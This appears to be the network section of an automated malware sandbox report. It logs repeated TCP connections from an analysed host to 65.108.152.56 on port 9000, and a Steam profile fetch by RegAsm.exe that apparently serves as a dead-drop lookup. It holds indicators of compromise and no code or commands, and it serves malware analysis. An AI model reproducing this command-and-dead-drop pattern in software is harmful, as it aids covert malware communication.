May 7, 2024 05:29:02.621340036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621352911 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621364117 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.621373892 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.621382952 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.621404886 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622046947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622087002 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622128010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622140884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622152090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622164011 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622167110 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622176886 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622195959 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622199059 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622236013 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622922897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622956038 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622967005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.622978926 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.622993946 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623008013 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623016119 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623029947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623044968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623064995 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623068094 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623104095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623788118 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623800039 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623826981 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623830080 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623845100 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623867035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623867989 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623879910 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623891115 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.623903990 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623917103 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.623930931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.624603987 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624643087 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.624644995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624658108 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624669075 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624680996 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624682903 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.624706030 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.624728918 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.624779940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.624820948 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625541925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625554085 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625581026 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625597954 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625601053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625623941 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625637054 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625644922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625658989 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625677109 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.625679970 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.625715017 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626404047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626432896 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626441002 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626471043 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626823902 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626857042 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626863956 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626868963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626892090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626893997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626908064 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626928091 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.626950026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626971960 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.626987934 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627008915 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627640963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627681017 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627682924 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627696037 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627707005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627718925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627722025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627736092 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627749920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.627753019 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.627794027 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628355026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628366947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628392935 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628405094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628412962 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628426075 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628444910 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628449917 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628458023 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.628468037 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628478050 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.628500938 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629206896 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629223108 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629236937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629245996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629256964 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629277945 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629287004 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629312038 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629323006 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629348993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.629353046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.629390955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630124092 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630137920 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630162954 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630182028 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630191088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630194902 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630223036 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630228996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630234957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630256891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.630273104 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.630295992 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631038904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631053925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631078005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631087065 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631098986 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631112099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631122112 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631124020 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631146908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631154060 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631158113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631194115 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631196022 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631230116 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631817102 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631856918 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631887913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631900072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631911039 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631922960 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631925106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631933928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631943941 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631947041 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.631951094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.631978035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.632802963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.632814884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.632824898 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.632843018 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.633019924 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.633049011 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.633049011 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.633151054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.633192062 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.864377022 CEST	49737	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.864737034 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.050584078 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.050648928 CEST	9000	49737	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.050687075 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.050714970 CEST	49737	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.051057100 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.241144896 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.241543055 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.241600990 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.241933107 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.243576050 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.243690968 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.429265022 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.429550886 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.919863939 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:03.919944048 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.983891010 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:03.984304905 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.169723988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:04.169775963 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:04.169795990 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.169848919 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.170162916 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.355719090 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:04.355958939 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:04.356028080 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.356307983 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.357903004 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.357933044 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:04.543540001 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:04.543560028 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.047827005 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.048238993 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.065356016 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.065454006 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.231955051 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.232038021 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.232371092 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.233738899 CEST	9000	49739	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.233800888 CEST	49739	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.416109085 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.416348934 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:05.416414022 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.416775942 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.418514013 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:05.602564096 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.143248081 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.143310070 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.144730091 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.145109892 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.330389023 CEST	9000	49740	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.330435991 CEST	49740	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.330604076 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.330683947 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.330971003 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.516432047 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.516653061 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:29:06.516844034 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.517030001 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.518748999 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:06.704231977 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.201347113 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.201525927 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.260344028 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.279797077 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.444169044 CEST	9000	49741	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.444233894 CEST	49741	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.463509083 CEST	9000	49743	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.463572025 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.466387033 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.652157068 CEST	9000	49743	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.652302027 CEST	9000	49743	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.652350903 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.652781963 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.654341936 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.656142950 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.838047981 CEST	9000	49743	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.838121891 CEST	49743	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.843316078 CEST	9000	49744	65.108.152.56	192.168.2.4
May 7, 2024 05:29:07.843381882 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:07.843698025 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.027322054 CEST	9000	49744	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.027677059 CEST	9000	49744	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.027721882 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.028009892 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.029522896 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.031160116 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.213352919 CEST	9000	49744	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.213419914 CEST	49744	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.214413881 CEST	9000	49745	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.214487076 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.214759111 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.398130894 CEST	9000	49745	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.398566961 CEST	9000	49745	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.398627043 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.417517900 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.418878078 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.420193911 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.602621078 CEST	9000	49745	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.602679968 CEST	49745	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.603940010 CEST	9000	49746	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.604008913 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.604314089 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.788058043 CEST	9000	49746	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.788249969 CEST	9000	49746	65.108.152.56	192.168.2.4
May 7, 2024 05:29:08.788326025 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.904376030 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.905720949 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:08.907541037 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:09.089453936 CEST	9000	49746	65.108.152.56	192.168.2.4
May 7, 2024 05:29:09.089498043 CEST	49746	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:09.091391087 CEST	9000	49747	65.108.152.56	192.168.2.4
May 7, 2024 05:29:09.091454983 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:09.092389107 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:09.276171923 CEST	9000	49747	65.108.152.56	192.168.2.4
May 7, 2024 05:29:09.276427031 CEST	9000	49747	65.108.152.56	192.168.2.4
May 7, 2024 05:29:09.276490927 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.579535007 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.580873966 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.586704016 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.764650106 CEST	9000	49747	65.108.152.56	192.168.2.4
May 7, 2024 05:29:10.764734983 CEST	49747	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.772356987 CEST	9000	49748	65.108.152.56	192.168.2.4
May 7, 2024 05:29:10.772454023 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.772761106 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.958209991 CEST	9000	49748	65.108.152.56	192.168.2.4
May 7, 2024 05:29:10.958436012 CEST	9000	49748	65.108.152.56	192.168.2.4
May 7, 2024 05:29:10.958497047 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.958791971 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:10.960310936 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:11.145930052 CEST	9000	49748	65.108.152.56	192.168.2.4
May 7, 2024 05:29:11.146094084 CEST	49748	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:30:17.201383114 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:30:17.201406002 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:30:17.201642990 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:30:44.025564909 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:30:44.025564909 CEST	49742	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:30:44.212171078 CEST	9000	49742	65.108.152.56	192.168.2.4
May 7, 2024 05:30:44.212402105 CEST	49742	9000	192.168.2.4	65.108.152.56

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 05:28:54.095249891 CEST	55374	53	192.168.2.4	1.1.1.1
May 7, 2024 05:28:54.181236029 CEST	53	55374	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 7, 2024 05:28:54.095249891 CEST	192.168.2.4	1.1.1.1	0xa13a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 7, 2024 05:28:54.181236029 CEST	1.1.1.1	192.168.2.4	0xa13a	No error (0)	steamcommunity.com	104.105.90.131	A (IP address)	IN (0x0001)	false
May 7, 2024 05:28:55.456705093 CEST	1.1.1.1	192.168.2.4	0x10a7	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
May 7, 2024 05:28:55.456705093 CEST	1.1.1.1	192.168.2.4	0x10a7	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.105.90.131	443	5816	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 03:28:54 UTC	119	OUT	GET /profiles/76561199680449169 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-07 03:28:54 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 07 May 2024 03:28:54 GMT Content-Length: 35663 Connection: close Set-Cookie: sessionid=cbda57a1813e582b31fe89fa; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C3c9fb2dce0904d04a144dbc58052f440; Path=/; Secure; HttpOnly; SameSite=None
